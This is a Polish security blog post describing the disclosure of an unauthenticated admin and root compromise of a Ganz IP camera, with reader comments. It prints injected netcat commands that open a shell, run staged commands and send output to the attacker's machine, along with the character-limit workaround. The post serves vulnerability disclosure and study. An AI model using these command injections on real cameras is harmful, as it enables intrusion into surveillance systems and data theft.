-15% na nową książkę sekuraka: Wprowadzenie do bezpieczeństwa IT. Przy zamówieniu podaj kod: 10000

Jak przejąc kamerę CCTV?

22 sierpnia 2017, 09:14 | Teksty | komentarzy 8

Kamerka

 

Tym razem wzięliśmy na warsztat kamerę Ganz Security – model ZN-M2F (cena to około 2500 zł). Udało nam się tam uzyskać uprawnienia root bez uwierzytelnienia.

 

Ganz Security? To znana na Zachodzie firma:

The Ganz brand is currently used by more than 100,000 businesses and research and development institutions in the world, and providing products and systems as well as accompanying support and service. Various products are available such as analog surveillance cameras, network surveillance cameras. (…) Ganz began as a brand of surveillance camera products and peripheral equipment products in 1998.

Po niewielkim wysiłku można znaleźć nazwy organizacji, w których wdrażane są rozwiązania Ganz (choć oczywiście nie jest napisane które dokładnie): FBI Headquarters, NJ Department of Transportation, NYPD, Singapore Police Station (All Branches), Spawar Command (NAVY), The British Embassy, The White House, US Coast Guard, Barclays, Citibank, Charter One Bank. 

Z prywatnych wrażeń – kamery Ganza można znaleźć na lotniskach, w monitoringu miejskim czy w McDoland’s – choć muszę przyznać że poza Polską.

Po co ten przydługi wstęp? Widzicie po nim, że producent jest sensowny i wdraża dużo, w dość znanych organizacjach.

Zacznijmy więc od trzęsienia ziemi, a później zrobi się tylko ciekawiej ;). Na początku wita nas taki oto standardowy ekran logowania.

Logowanie

Jak się dostać do hasła? Tak:

Hasło

Jak widać, poza hasłami dostępnymi jawnie, mamy tu jeszcze użytkownika s_admin (normalnego nie jest on widoczny w panelu zarządczym). Super Admin? Wpisujemy dane logowania i…:

Widok z kamery

Mamy więc admina bez uwierzytelnienia. Ale oczywiście ba tym nie poprzestaniemy :-) Zobaczmy czy da się zdobyć uprawnienia roota. Być może hardkorowi  czytelnicy Sekuraka pamiętają o podatności w TP-Linkach, którą udało nam się namierzyć w 2016 roku. Tutaj jest nieco podobnie:

Przechwytujemy ten request HTTP w narzędziu Burp Suite i mamy:

Request z pingiem

Czy da się tu wykonać kod w systemie operacyjnym? Zobaczmy:

Ale to nie działa (w body odpowiedzi HTTP nic nie widzimy…). Mamy tu prawdopodobnie walidację, która sprawdza czy długość wartości zmiennej ipaddr nie jest większa od 15 znaków. Ale zobaczmy coś takiego:

Działa

Voilà:

Reboot działa

Teraz spróbujmy uzyskać uprawnienia roota. Okazuje się, że na kamerze domyślnie zainstalowany jest netcat (binarka nc). Będzie więc prosto? Niekoniecznie. Uruchomienie nc -l -p 1 -e /bin/sh to aż 21 znaków (mamy do wykorzystania 14 – bo użyć musimy jeszcze średnika). Jak można się spodziewać – nie działa:

nie działa

Spróbujmy skrócić: nc -lp1 -e /bin/sh

Dalej za długo. Może tak: nc -le /bin/sh  ? Mamy tu w końcu 14 znaków! (nc będzie nasłuchiwał na losowym, wysokim porcie). Po ten niewielkiej gimnastyce pracy okazuje się jednak, że… wbudowany w kamerę netcat nie obsługuje przełącznika -e (umożliwiającego w naszym przypadku udostępnienie shella na porcie). Spróbujmy zatem czegoś innego. Zacznijmy od wstrzyknięcia takiego polecenia:

  1. ;nc -lp1>/tmp/b
    Na porcie 1 na kamerze nasłuchujemy na polecenie, które znajdzie się w /tmp/b
  2. echo 'ps aux’ | nc 192.168.1.105 1
    Wysyłamy polecenie z komputera do kamery
  3. ;/bin/sh /tmp/b
    I jeszcze jedno wstrzyknięcie – finalnie odpalające  polecenie.

Sukces? Ale… gdzie jest wynik? Nie ma ;-)

Potrzebna jest jeszcze mała optymalizacja: w punkcie 2. powyżej nie wstrzykniemy samego polecenia, tylko coś w rodzaju: ps aux | nc 192.168.1.100 1234  gdzie 192.168.1.100 to adres IP mojego laptopa z uruchomionym wcześniej netcatem nasłuchującym na porcie 1234 (tu na koniec zobaczymy wynik polecenia z kamery). Całość wystarczy w prosty sposób oskryptować:

ps uax

ls -l

Podatność została do producenta zgłoszona pod koniec w 2016 roku. Podatność została potwierdzona i otrzymaliśmy też informację o jej załataniu.

–Michał Sajdak, działa w Securitum.

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. Marcin

    W pkt. 2 nie powinno być?
    echo 'ps aux’ | nc 192.168.1.105 1

    Odpowiedz
    • @Marcin – oczywiście że tak – zmienione.

      Odpowiedz
  2. maxmax

    niezle! bedzie tez Bosh ?

    Odpowiedz
  3. Artur

    Jak odkryliście plik /.tmp/passwd ? dirb i inne automaty, czy inna technika?

    Odpowiedz
  4. Tok

    Jak namierzyliscie password w tmp? Jakis re firmware?

    Odpowiedz
    • analiza filesystemu mając buga z drugiej części

      Odpowiedz
  5. M.

    Tak całkiem technicznie jest to kamera IP (czasami CCTV-IP), a nie CCTV (analog), ale to drobiazg.

    Odpowiedz

Odpowiedz na Tok